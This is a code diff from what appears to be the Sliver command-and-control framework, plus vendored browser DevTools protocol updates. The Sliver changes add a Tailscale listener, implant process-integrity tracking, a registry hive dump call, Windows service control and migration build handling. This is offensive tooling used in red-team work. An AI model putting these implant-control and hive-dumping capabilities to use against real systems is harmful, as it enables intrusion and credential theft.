builderLog.Infof("Reading config dir: %s", config)
|
||||
err := filepath.Walk(config, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to walk config dir: %s", err)
|
||||
return err
|
||||
}
|
||||
if info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
go func() {
|
||||
builderLog.Infof("Starting builder with config file: %s", path)
|
||||
builderInst, err := createBuilder(cmd, path, mutex)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to create builder: %s", err)
|
||||
return
|
||||
}
|
||||
builders = append(builders, builderInst)
|
||||
builderInst.Start()
|
||||
}()
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to walk config dir: %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func reloadBuilders(cmd *cobra.Command, config string, multiple bool) {
|
||||
builderLog.Infof("Reloading builders")
|
||||
for _, builderInst := range builders {
|
||||
builderInst.Stop()
|
||||
}
|
||||
builders = nil
|
||||
startBuilders(cmd, config, multiple)
|
||||
}
|
||||
|
||||
func createBuilder(cmd *cobra.Command, configPath string, mutex *sync.Mutex) (*builder.Builder, error) {
|
||||
externalBuilder := parseBuilderConfigFlags(cmd)
|
||||
externalBuilder.Templates = []string{"sliver"}
|
||||
|
||||
// load the client configuration from the filesystem
|
||||
config, err := clientAssets.ReadConfig(configPath)
|
||||
if err != nil {
|
||||
builderLog.Fatalf("Invalid config file: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
if externalBuilder.Name == "" {
|
||||
builderLog.Infof("No builder name was specified, attempting to use hostname")
|
||||
externalBuilder.Name, err = os.Hostname()
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to get hostname: %s", err)
|
||||
externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.Operator, runtime.GOOS)
|
||||
}
|
||||
}
|
||||
builderLog.Infof("Hello my name is: %s", externalBuilder.Name)
|
||||
|
||||
// connect to the server
|
||||
builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to connect to server %s@%s:%d: %s", config.Operator, config.LHost, config.LPort, err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return builder.NewBuilder(externalBuilder, mutex, rpc, ln), nil
|
||||
}
|
||||
|
||||
func parseBuilderConfigFlags(cmd *cobra.Command) *clientpb.Builder {
|
||||
externalBuilder := &clientpb.Builder{GOOS: runtime.GOOS, GOARCH: runtime.GOARCH}
|
||||
|
||||
|
||||
+5
-1
@@ -48,7 +48,9 @@ const (
|
||||
lhostFlagStr = "lhost"
|
||||
lportFlagStr = "lport"
|
||||
saveFlagStr = "save"
|
||||
outputFlagStr = "output"
|
||||
permissionsFlagStr = "permissions"
|
||||
tailscaleFlagStr = "tailscale"
|
||||
|
||||
// Cert flags
|
||||
caTypeFlagStr = "type"
|
||||
@@ -79,6 +81,7 @@ func init() {
|
||||
operatorCmd.Flags().StringP(lhostFlagStr, "l", "", "multiplayer listener host")
|
||||
operatorCmd.Flags().Uint16P(lportFlagStr, "p", uint16(31337), "multiplayer listener port")
|
||||
operatorCmd.Flags().StringP(saveFlagStr, "s", "", "save file to ...")
|
||||
operatorCmd.Flags().StringP(outputFlagStr, "o", "file", "output format (file, stdout)")
|
||||
operatorCmd.Flags().StringSliceP(permissionsFlagStr, "P", []string{}, "grant permissions to the operator profile (all, builder, crackstation)")
|
||||
rootCmd.AddCommand(operatorCmd)
|
||||
|
||||
@@ -95,6 +98,7 @@ func init() {
|
||||
daemonCmd.Flags().StringP(lhostFlagStr, "l", daemon.BlankHost, "multiplayer listener host")
|
||||
daemonCmd.Flags().Uint16P(lportFlagStr, "p", daemon.BlankPort, "multiplayer listener port")
|
||||
daemonCmd.Flags().BoolP(forceFlagStr, "f", false, "force unpack and overwrite static assets")
|
||||
daemonCmd.Flags().BoolP(tailscaleFlagStr, "t", false, "enable tailscale")
|
||||
rootCmd.AddCommand(daemonCmd)
|
||||
|
||||
// Builder
|
||||
@@ -141,7 +145,7 @@ var rootCmd = &cobra.Command{
|
||||
fmt.Println(err)
|
||||
}
|
||||
if serverConfig.DaemonMode {
|
||||
daemon.Start(daemon.BlankHost, daemon.BlankPort)
|
||||
daemon.Start(daemon.BlankHost, daemon.BlankPort, serverConfig.DaemonConfig.Tailscale)
|
||||
} else {
|
||||
os.Args = os.Args[:1] // Hide cli from grumble console
|
||||
console.Start()
|
||||
|
||||
@@ -39,6 +39,12 @@ var daemonCmd = &cobra.Command{
|
||||
return
|
||||
}
|
||||
|
||||
tailscale, err := cmd.Flags().GetBool(tailscaleFlagStr)
|
||||
if err != nil {
|
||||
fmt.Printf("Failed to parse --%s flag %s\n", tailscaleFlagStr, err)
|
||||
return
|
||||
}
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initConsoleLogging(appDir)
|
||||
defer logFile.Close()
|
||||
@@ -52,6 +58,7 @@ var daemonCmd = &cobra.Command{
|
||||
}()
|
||||
|
||||
assets.Setup(force, false)
|
||||
c2.SetupDefaultC2Profiles()
|
||||
certs.SetupCAs()
|
||||
certs.SetupWGKeys()
|
||||
cryptography.AgeServerKeyPair()
|
||||
@@ -67,7 +74,7 @@ var daemonCmd = &cobra.Command{
|
||||
fmt.Println(err)
|
||||
}
|
||||
|
||||
daemon.Start(lhost, uint16(lport))
|
||||
daemon.Start(lhost, uint16(lport), tailscale)
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
+30
-14
@@ -28,6 +28,11 @@ import (
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const (
|
||||
outputFile = "file"
|
||||
outputStdout = "stdout"
|
||||
)
|
||||
|
||||
var operatorCmd = &cobra.Command{
|
||||
Use: "operator",
|
||||
Short: "Generate operator configuration files",
|
||||
@@ -68,6 +73,12 @@ var operatorCmd = &cobra.Command{
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
|
||||
output, err := cmd.Flags().GetString(outputFlagStr)
|
||||
if err != nil {
|
||||
fmt.Printf("Failed to parse --%s flag %s", outputFlagStr, err)
|
||||
return
|
||||
}
|
||||
|
||||
permissions, err := cmd.Flags().GetStringSlice(permissionsFlagStr)
|
||||
if err != nil {
|
||||
fmt.Printf("Failed to parse --%s flag %s", permissionsFlagStr, err)
|
||||
@@ -85,20 +96,25 @@ var operatorCmd = &cobra.Command{
|
||||
return
|
||||
}
|
||||
|
||||
saveTo, _ := filepath.Abs(save)
|
||||
fi, err := os.Stat(saveTo)
|
||||
if !os.IsNotExist(err) && !fi.IsDir() {
|
||||
fmt.Printf("File already exists: %s\n", err)
|
||||
return
|
||||
}
|
||||
if !os.IsNotExist(err) && fi.IsDir() {
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost))
|
||||
saveTo = filepath.Join(saveTo, filename)
|
||||
}
|
||||
err = os.WriteFile(saveTo, configJSON, 0600)
|
||||
if err != nil {
|
||||
fmt.Printf("Write failed: %s (%s)\n", saveTo, err)
|
||||
return
|
||||
switch output {
|
||||
case outputFile:
|
||||
saveTo, _ := filepath.Abs(save)
|
||||
fi, err := os.Stat(saveTo)
|
||||
if !os.IsNotExist(err) && !fi.IsDir() {
|
||||
fmt.Printf("File already exists: %s\n", err)
|
||||
return
|
||||
}
|
||||
if !os.IsNotExist(err) && fi.IsDir() {
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost))
|
||||
saveTo = filepath.Join(saveTo, filename)
|
||||
}
|
||||
err = os.WriteFile(saveTo, configJSON, 0600)
|
||||
if err != nil {
|
||||
fmt.Printf("Write failed: %s (%s)\n", saveTo, err)
|
||||
return
|
||||
}
|
||||
case outputStdout:
|
||||
fmt.Println(string(configJSON))
|
||||
}
|
||||
},
|
||||
}
|
||||
@@ -57,8 +57,9 @@ type LogConfig struct {
|
||||
|
||||
// DaemonConfig - Configure daemon mode
|
||||
type DaemonConfig struct {
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
Tailscale bool `json:"tailscale"`
|
||||
}
|
||||
|
||||
// JobConfig - Restart Jobs on Load
|
||||
|
||||
@@ -74,6 +74,7 @@ type Session struct {
|
||||
PeerID int64
|
||||
Locale string
|
||||
FirstContact int64
|
||||
Integrity string
|
||||
}
|
||||
|
||||
// LastCheckin - Get the last time a session message was received
|
||||
@@ -140,6 +141,7 @@ func (s *Session) ToProtobuf() *clientpb.Session {
|
||||
PeerID: s.PeerID,
|
||||
Locale: s.Locale,
|
||||
FirstContact: s.FirstContact,
|
||||
Integrity: s.Integrity,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -249,6 +251,7 @@ func NewSession(implantConn *ImplantConnection) *Session {
|
||||
ID: nextSessionID(),
|
||||
Connection: implantConn,
|
||||
FirstContact: time.Now().Unix(),
|
||||
Integrity: "-",
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+11
-3
@@ -20,6 +20,7 @@ package daemon
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"os/signal"
|
||||
"syscall"
|
||||
@@ -40,8 +41,11 @@ var (
|
||||
)
|
||||
|
||||
// Start - Start as daemon process
|
||||
func Start(host string, port uint16) {
|
||||
|
||||
func Start(host string, port uint16, tailscale bool) {
|
||||
var (
|
||||
ln net.Listener
|
||||
err error
|
||||
)
|
||||
// cli args take president over config
|
||||
if host == BlankHost {
|
||||
daemonLog.Info("No cli lhost, using config file or default value")
|
||||
@@ -53,7 +57,11 @@ func Start(host string, port uint16) {
|
||||
}
|
||||
|
||||
daemonLog.Infof("Starting Sliver daemon %s:%d ...", host, port)
|
||||
_, ln, err := transport.StartMtlsClientListener(host, port)
|
||||
if tailscale {
|
||||
_, ln, err = transport.StartTsNetClientListener(host, port)
|
||||
} else {
|
||||
_, ln, err = transport.StartMtlsClientListener(host, port)
|
||||
}
|
||||
if err != nil {
|
||||
fmt.Printf("[!] Failed to start daemon %s", err)
|
||||
daemonLog.Errorf("Error starting client listener %s", err)
|
||||
|
||||
@@ -53,6 +53,7 @@ type Beacon struct {
|
||||
ActiveC2 string
|
||||
ProxyURL string
|
||||
Locale string
|
||||
Integrity string
|
||||
|
||||
ImplantBuildID uuid.UUID `gorm:"type:uuid;"`
|
||||
|
||||
@@ -66,6 +67,7 @@ type Beacon struct {
|
||||
// BeforeCreate - GORM hook
|
||||
func (b *Beacon) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
b.CreatedAt = time.Now()
|
||||
b.Integrity = "-"
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -94,6 +96,7 @@ func (b *Beacon) ToProtobuf() *clientpb.Beacon {
|
||||
NextCheckin: b.NextCheckin,
|
||||
Locale: b.Locale,
|
||||
FirstContact: b.CreatedAt.Unix(),
|
||||
Integrity: b.Integrity,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -220,6 +220,11 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
|
||||
dest += ".bin"
|
||||
|
||||
// if the destination already exists, delete it
|
||||
if _, err := os.Stat(dest); err == nil {
|
||||
os.Remove(dest)
|
||||
}
|
||||
|
||||
tags := []string{}
|
||||
if config.NetGoEnabled {
|
||||
tags = append(tags, "netgo")
|
||||
|
||||
@@ -83,6 +83,7 @@ var (
|
||||
"dw": true,
|
||||
"dword": true,
|
||||
"exe": true,
|
||||
"exe-service": true,
|
||||
"hex": true,
|
||||
"java": true,
|
||||
"js_be": true,
|
||||
|
||||
@@ -125,3 +125,18 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas
|
||||
}
|
||||
return task, nil
|
||||
}
|
||||
|
||||
// UpdateBeaconIntegrityInformation - Update process integrity information for a beacon
|
||||
func (rpc *Server) UpdateBeaconIntegrityInformation(ctx context.Context, req *clientpb.BeaconIntegrity) (*commonpb.Empty, error) {
|
||||
resp := &commonpb.Empty{}
|
||||
beacon, err := db.BeaconByID(req.BeaconID)
|
||||
if err != nil || beacon == nil {
|
||||
return resp, ErrInvalidBeaconID
|
||||
}
|
||||
beacon.Integrity = req.Integrity
|
||||
err = db.Session().Save(beacon).Error
|
||||
if err != nil {
|
||||
return resp, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -151,10 +151,26 @@ func (rpc *Server) MakeToken(ctx context.Context, req *sliverpb.MakeTokenReq) (*
|
||||
|
||||
// GetPrivs - gRPC interface to get privilege information from the current process
|
||||
func (rpc *Server) GetPrivs(ctx context.Context, req *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
|
||||
sessionID := req.Request.SessionID
|
||||
|
||||
resp := &sliverpb.GetPrivs{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
/*
|
||||
Update integrity information for a session
|
||||
beacons will have to be updated by the client after the information is received from the implant
|
||||
*/
|
||||
if !req.Request.Async {
|
||||
session := core.Sessions.Get(sessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
}
|
||||
session.Integrity = resp.ProcessIntegrity
|
||||
core.Sessions.UpdateSession(session)
|
||||
}
|
||||
|
||||
return resp, nil
|
||||
}
|
||||
@@ -84,3 +84,13 @@ func (rpc *Server) RegistryListValues(ctx context.Context, req *sliverpb.Registr
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// RegistryDumpHive - gRPC interface to dump a specific registry hive as a binary file
|
||||
func (rpc *Server) RegistryReadHive(ctx context.Context, req *sliverpb.RegistryReadHiveReq) (*sliverpb.RegistryReadHive, error) {
|
||||
resp := &sliverpb.RegistryReadHive{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -7,6 +7,25 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// Services - List and control services
|
||||
func (rpc *Server) Services(ctx context.Context, req *sliverpb.ServicesReq) (*sliverpb.Services, error) {
|
||||
resp := &sliverpb.Services{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
func (rpc *Server) ServiceDetail(ctx context.Context, req *sliverpb.ServiceDetailReq) (*sliverpb.ServiceDetail, error) {
|
||||
resp := &sliverpb.ServiceDetail{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// StartService creates and starts a Windows service on a remote host
|
||||
func (rpc *Server) StartService(ctx context.Context, req *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error) {
|
||||
resp := &sliverpb.ServiceInfo{Response: &commonpb.Response{}}
|
||||
@@ -17,6 +36,15 @@ func (rpc *Server) StartService(ctx context.Context, req *sliverpb.StartServiceR
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
func (rpc *Server) StartServiceByName(ctx context.Context, req *sliverpb.StartServiceByNameReq) (*sliverpb.ServiceInfo, error) {
|
||||
resp := &sliverpb.ServiceInfo{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// StopService stops a remote service
|
||||
func (rpc *Server) StopService(ctx context.Context, req *sliverpb.StopServiceReq) (*sliverpb.ServiceInfo, error) {
|
||||
resp := &sliverpb.ServiceInfo{Response: &commonpb.Response{}}
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -98,6 +99,10 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
name = req.Name
|
||||
}
|
||||
config.Format = clientpb.OutputFormat_SHELLCODE
|
||||
// Tweak some of the config parameters
|
||||
config.IsShellcode = true
|
||||
config.IsSharedLib = false
|
||||
config.TemplateName = "sliver"
|
||||
config.ObfuscateSymbols = true
|
||||
build, err := generate.GenerateConfig(name, config)
|
||||
if err != nil {
|
||||
@@ -115,6 +120,24 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
return nil, err
|
||||
}
|
||||
shellcode, _ = os.ReadFile(shellcodePath)
|
||||
// Save the implant config in the database so that the server recognizes it when it tries to connect
|
||||
config.ID = ""
|
||||
savedConfig, err := db.SaveImplantConfig(config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
build.ImplantConfigID = savedConfig.ID
|
||||
|
||||
/* Save the build in the database so that the server recognizes it when it tries to connect
|
||||
This build will have the same name as the implant it is being spawned from, so
|
||||
we need to create a unique name for the database
|
||||
*/
|
||||
build.Name = fmt.Sprintf("%s_%d", build.Name, time.Now().Unix())
|
||||
_, err = db.SaveImplantBuild(build)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if len(shellcode) < 1 {
|
||||
|
||||
+34
@@ -147,10 +147,44 @@ func (p *CheckContrastParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandCheckContrast, p, nil)
|
||||
}
|
||||
|
||||
// CheckFormsIssuesParams runs the form issues check for the target page.
|
||||
// Found issues are reported using Audits.issueAdded event.
|
||||
type CheckFormsIssuesParams struct{}
|
||||
|
||||
// CheckFormsIssues runs the form issues check for the target page. Found
|
||||
// issues are reported using Audits.issueAdded event.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#method-checkFormsIssues
|
||||
func CheckFormsIssues() *CheckFormsIssuesParams {
|
||||
return &CheckFormsIssuesParams{}
|
||||
}
|
||||
|
||||
// CheckFormsIssuesReturns return values.
|
||||
type CheckFormsIssuesReturns struct {
|
||||
FormIssues []*GenericIssueDetails `json:"formIssues,omitempty"`
|
||||
}
|
||||
|
||||
// Do executes Audits.checkFormsIssues against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// formIssues
|
||||
func (p *CheckFormsIssuesParams) Do(ctx context.Context) (formIssues []*GenericIssueDetails, err error) {
|
||||
// execute
|
||||
var res CheckFormsIssuesReturns
|
||||
err = cdp.Execute(ctx, CommandCheckFormsIssues, nil, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.FormIssues, nil
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandGetEncodedResponse = "Audits.getEncodedResponse"
|
||||
CommandDisable = "Audits.disable"
|
||||
CommandEnable = "Audits.enable"
|
||||
CommandCheckContrast = "Audits.checkContrast"
|
||||
CommandCheckFormsIssues = "Audits.checkFormsIssues"
|
||||
)
|
||||
+672
-181
File diff suppressed because it is too large.
Load diff
+356
-149
@@ -59,6 +59,7 @@ const (
|
||||
CookieExclusionReasonExcludeSamePartyCrossPartyContext CookieExclusionReason = "ExcludeSamePartyCrossPartyContext"
|
||||
CookieExclusionReasonExcludeDomainNonASCII CookieExclusionReason = "ExcludeDomainNonASCII"
|
||||
CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet CookieExclusionReason = "ExcludeThirdPartyCookieBlockedInFirstPartySet"
|
||||
CookieExclusionReasonExcludeThirdPartyPhaseout CookieExclusionReason = "ExcludeThirdPartyPhaseout"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -91,6 +92,8 @@ func (t *CookieExclusionReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CookieExclusionReasonExcludeDomainNonASCII
|
||||
case CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet:
|
||||
*t = CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet
|
||||
case CookieExclusionReasonExcludeThirdPartyPhaseout:
|
||||
*t = CookieExclusionReasonExcludeThirdPartyPhaseout
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown CookieExclusionReason value: %v", v))
|
||||
@@ -124,6 +127,7 @@ const (
|
||||
CookieWarningReasonWarnSameSiteLaxCrossDowngradeLax CookieWarningReason = "WarnSameSiteLaxCrossDowngradeLax"
|
||||
CookieWarningReasonWarnAttributeValueExceedsMaxSize CookieWarningReason = "WarnAttributeValueExceedsMaxSize"
|
||||
CookieWarningReasonWarnDomainNonASCII CookieWarningReason = "WarnDomainNonASCII"
|
||||
CookieWarningReasonWarnThirdPartyPhaseout CookieWarningReason = "WarnThirdPartyPhaseout"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -160,6 +164,8 @@ func (t *CookieWarningReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CookieWarningReasonWarnAttributeValueExceedsMaxSize
|
||||
case CookieWarningReasonWarnDomainNonASCII:
|
||||
*t = CookieWarningReasonWarnDomainNonASCII
|
||||
case CookieWarningReasonWarnThirdPartyPhaseout:
|
||||
*t = CookieWarningReasonWarnThirdPartyPhaseout
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown CookieWarningReason value: %v", v))
|
||||
@@ -717,65 +723,6 @@ type SharedArrayBufferIssueDetails struct {
|
||||
Type SharedArrayBufferIssueType `json:"type"`
|
||||
}
|
||||
|
||||
// TwaQualityEnforcementViolationType [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-TwaQualityEnforcementViolationType
|
||||
type TwaQualityEnforcementViolationType string
|
||||
|
||||
// String returns the TwaQualityEnforcementViolationType as string value.
|
||||
func (t TwaQualityEnforcementViolationType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// TwaQualityEnforcementViolationType values.
|
||||
const (
|
||||
TwaQualityEnforcementViolationTypeKHTTPError TwaQualityEnforcementViolationType = "kHttpError"
|
||||
TwaQualityEnforcementViolationTypeKUnavailableOffline TwaQualityEnforcementViolationType = "kUnavailableOffline"
|
||||
TwaQualityEnforcementViolationTypeKDigitalAssetLinks TwaQualityEnforcementViolationType = "kDigitalAssetLinks"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t TwaQualityEnforcementViolationType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t TwaQualityEnforcementViolationType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *TwaQualityEnforcementViolationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch TwaQualityEnforcementViolationType(v) {
|
||||
case TwaQualityEnforcementViolationTypeKHTTPError:
|
||||
*t = TwaQualityEnforcementViolationTypeKHTTPError
|
||||
case TwaQualityEnforcementViolationTypeKUnavailableOffline:
|
||||
*t = TwaQualityEnforcementViolationTypeKUnavailableOffline
|
||||
case TwaQualityEnforcementViolationTypeKDigitalAssetLinks:
|
||||
*t = TwaQualityEnforcementViolationTypeKDigitalAssetLinks
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown TwaQualityEnforcementViolationType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *TwaQualityEnforcementViolationType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// TrustedWebActivityIssueDetails [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-TrustedWebActivityIssueDetails
|
||||
type TrustedWebActivityIssueDetails struct {
|
||||
URL string `json:"url"` // The url that triggers the violation.
|
||||
ViolationType TwaQualityEnforcementViolationType `json:"violationType"`
|
||||
HTTPStatusCode int64 `json:"httpStatusCode,omitempty"`
|
||||
PackageName string `json:"packageName,omitempty"` // The package name of the Trusted Web Activity client app. This field is only used when violation type is kDigitalAssetLinks.
|
||||
Signature string `json:"signature,omitempty"` // The signature of the Trusted Web Activity client app. This field is only used when violation type is kDigitalAssetLinks.
|
||||
}
|
||||
|
||||
// LowTextContrastIssueDetails [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-LowTextContrastIssueDetails
|
||||
@@ -815,17 +762,21 @@ func (t AttributionReportingIssueType) String() string {
|
||||
|
||||
// AttributionReportingIssueType values.
|
||||
const (
|
||||
AttributionReportingIssueTypePermissionPolicyDisabled AttributionReportingIssueType = "PermissionPolicyDisabled"
|
||||
AttributionReportingIssueTypePermissionPolicyNotDelegated AttributionReportingIssueType = "PermissionPolicyNotDelegated"
|
||||
AttributionReportingIssueTypeUntrustworthyReportingOrigin AttributionReportingIssueType = "UntrustworthyReportingOrigin"
|
||||
AttributionReportingIssueTypeInsecureContext AttributionReportingIssueType = "InsecureContext"
|
||||
AttributionReportingIssueTypeInvalidHeader AttributionReportingIssueType = "InvalidHeader"
|
||||
AttributionReportingIssueTypeInvalidRegisterTriggerHeader AttributionReportingIssueType = "InvalidRegisterTriggerHeader"
|
||||
AttributionReportingIssueTypeInvalidEligibleHeader AttributionReportingIssueType = "InvalidEligibleHeader"
|
||||
AttributionReportingIssueTypeTooManyConcurrentRequests AttributionReportingIssueType = "TooManyConcurrentRequests"
|
||||
AttributionReportingIssueTypeSourceAndTriggerHeaders AttributionReportingIssueType = "SourceAndTriggerHeaders"
|
||||
AttributionReportingIssueTypeSourceIgnored AttributionReportingIssueType = "SourceIgnored"
|
||||
AttributionReportingIssueTypeTriggerIgnored AttributionReportingIssueType = "TriggerIgnored"
|
||||
AttributionReportingIssueTypePermissionPolicyDisabled AttributionReportingIssueType = "PermissionPolicyDisabled"
|
||||
AttributionReportingIssueTypeUntrustworthyReportingOrigin AttributionReportingIssueType = "UntrustworthyReportingOrigin"
|
||||
AttributionReportingIssueTypeInsecureContext AttributionReportingIssueType = "InsecureContext"
|
||||
AttributionReportingIssueTypeInvalidHeader AttributionReportingIssueType = "InvalidHeader"
|
||||
AttributionReportingIssueTypeInvalidRegisterTriggerHeader AttributionReportingIssueType = "InvalidRegisterTriggerHeader"
|
||||
AttributionReportingIssueTypeSourceAndTriggerHeaders AttributionReportingIssueType = "SourceAndTriggerHeaders"
|
||||
AttributionReportingIssueTypeSourceIgnored AttributionReportingIssueType = "SourceIgnored"
|
||||
AttributionReportingIssueTypeTriggerIgnored AttributionReportingIssueType = "TriggerIgnored"
|
||||
AttributionReportingIssueTypeOsSourceIgnored AttributionReportingIssueType = "OsSourceIgnored"
|
||||
AttributionReportingIssueTypeOsTriggerIgnored AttributionReportingIssueType = "OsTriggerIgnored"
|
||||
AttributionReportingIssueTypeInvalidRegisterOsSourceHeader AttributionReportingIssueType = "InvalidRegisterOsSourceHeader"
|
||||
AttributionReportingIssueTypeInvalidRegisterOsTriggerHeader AttributionReportingIssueType = "InvalidRegisterOsTriggerHeader"
|
||||
AttributionReportingIssueTypeWebAndOsHeaders AttributionReportingIssueType = "WebAndOsHeaders"
|
||||
AttributionReportingIssueTypeNoWebOrOsSupport AttributionReportingIssueType = "NoWebOrOsSupport"
|
||||
AttributionReportingIssueTypeNavigationRegistrationWithoutTransientUserActivation AttributionReportingIssueType = "NavigationRegistrationWithoutTransientUserActivation"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -844,8 +795,6 @@ func (t *AttributionReportingIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch AttributionReportingIssueType(v) {
|
||||
case AttributionReportingIssueTypePermissionPolicyDisabled:
|
||||
*t = AttributionReportingIssueTypePermissionPolicyDisabled
|
||||
case AttributionReportingIssueTypePermissionPolicyNotDelegated:
|
||||
*t = AttributionReportingIssueTypePermissionPolicyNotDelegated
|
||||
case AttributionReportingIssueTypeUntrustworthyReportingOrigin:
|
||||
*t = AttributionReportingIssueTypeUntrustworthyReportingOrigin
|
||||
case AttributionReportingIssueTypeInsecureContext:
|
||||
@@ -854,16 +803,26 @@ func (t *AttributionReportingIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = AttributionReportingIssueTypeInvalidHeader
|
||||
case AttributionReportingIssueTypeInvalidRegisterTriggerHeader:
|
||||
*t = AttributionReportingIssueTypeInvalidRegisterTriggerHeader
|
||||
case AttributionReportingIssueTypeInvalidEligibleHeader:
|
||||
*t = AttributionReportingIssueTypeInvalidEligibleHeader
|
||||
case AttributionReportingIssueTypeTooManyConcurrentRequests:
|
||||
*t = AttributionReportingIssueTypeTooManyConcurrentRequests
|
||||
case AttributionReportingIssueTypeSourceAndTriggerHeaders:
|
||||
*t = AttributionReportingIssueTypeSourceAndTriggerHeaders
|
||||
case AttributionReportingIssueTypeSourceIgnored:
|
||||
*t = AttributionReportingIssueTypeSourceIgnored
|
||||
case AttributionReportingIssueTypeTriggerIgnored:
|
||||
